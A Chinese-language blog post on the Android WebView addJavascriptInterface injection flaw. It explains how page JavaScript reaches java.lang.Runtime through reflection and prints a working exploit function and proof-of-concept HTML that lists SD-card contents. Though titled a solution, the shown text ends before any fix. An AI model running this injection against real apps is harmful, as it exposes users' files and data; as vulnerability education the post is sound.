Android WebView的Js对象注入漏洞解决方案

最近在做一个项目过程中,发现了一个很严重的安全漏洞,这个漏洞是乌云平台()报告出来的。

1,使用场景

我们很多时候要使用WebView来展示一个网页,现在很多应用为了做到服务端可控,很多结果页都是网页的,而不是本地实现,这样做有很多好处,比如界面的改变不需要重新发布新版本,直接在Server端修改就行了。用网页来展示界面,通常情况下都或多或少都与Java代码有交互,比如点击网页上面的一个按钮,我们需要知道这个按钮点击事件,或者我们要调用某个方法,让页面执行某种动作,为了实现这些交互,我们通常都是使用JS来实现,而WebView已经提供了这样的方法,具体用法如下:

mWebView.getSettings().setJavaScriptEnabled(true);mWebView.addJavascriptInterface(new JSInterface(), "jsInterface");我们向WebView注册一个名叫“jsInterface”的对象,然后在JS中可以访问到jsInterface这个对象,就可以调用这个对象的一些方法,最终可以调用到Java代码中,从而实现了JS与Java代码的交互。

我们一起来看看关于addJavascriptInterface方法在Android官网的描述:

This method can be used to allow JavaScript to control the host application. This is a powerful feature, but also presents a security risk for applications targeted to API levelor below, because JavaScript could use reflection to access an injected object’s public fields. Use of this method in a WebView containing untrusted content could allow an attacker to manipulate the host application in unintended ways, executing Java code with the permissions of the host application. Use extreme care when using this method in a WebView which could contain untrusted content.JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.The Java object’s fields are not accessible.

简单地说,就是用addJavascriptInterface可能导致不安全,因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个,当JS包含恶意代码时,它可以干任何事情。

2,漏洞描述

通过JavaScript,,可以访问当前设备的SD卡上面的任何东西,甚至是联系人信息,短信等。这很恶心吧,嘎嘎。好,我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述:猛点这里

1,WebView添加了JavaScript对象,并且当前应用具有读写SDCard的权限,也就是:android.permission.WRITE_EXTERNAL_STORAGE

2,JS中可以遍历window对象,找到存在“getClass”方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令.

3,再从执行命令后返回的输入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危险。核心JS代码如下:

function execute(cmdArgs){ for (var obj in window) { if ("getClass" in window[obj]) { alert(obj); return window[obj].getClass().forName("java.lang.Runtime") .getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } }}

3,漏洞证明

举例一:为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:

<html> <head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><script>var i=0;function getContents(inputStream){var contents = ""+i;var b = inputStream.read();var i = 1;while(b != -1) {var bString = String.fromCharCode(b);contents += bString;contents += "\n"b = inputStream.read();}i=i+1;return contents;}function execute(cmdArgs){for (var obj in window) {console.log(obj);if ("getClass" in window[obj]) {alert(obj);return window[obj].getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);}}}var p = execute(["ls","/mnt/sdcard/"]);document.write(getContents(p.getInputStream()));</script><script language="javascript">function onButtonClick(){// Call the method of injected object from Android source.var text = jsInterface.onButtonClick("从JS中传递过来的文本!!!");alert(text);}function onImageClick(){//Call the method of injected object from Android source.var src = document.getElementById("image").src;var width = document.getElementById("image").width;var height = document.getElementById("image").height;// Call the method of injected object from Android source.jsInterface.onImageClick(src, width, height);}</script> </head> <body><p>点击图片把URL传到Java代码</p><img class="curved_box" id="image"onclick="onImageClick()"width="328"height="185"src="=824022904,2596326488&fm=21&gp=0.jpg"onerror="this.src=’background_chl.jpg’"/></p><button type="button" onclick="onButtonClick()">与Java代码交互</button> </body></html>这段HTML的运行效果如下:

乐观者在灾祸中看到机会;悲观者在机会中看到灾祸

Android WebView的Js对象注入漏洞解决方案

相关文章:

你感兴趣的文章:

标签云: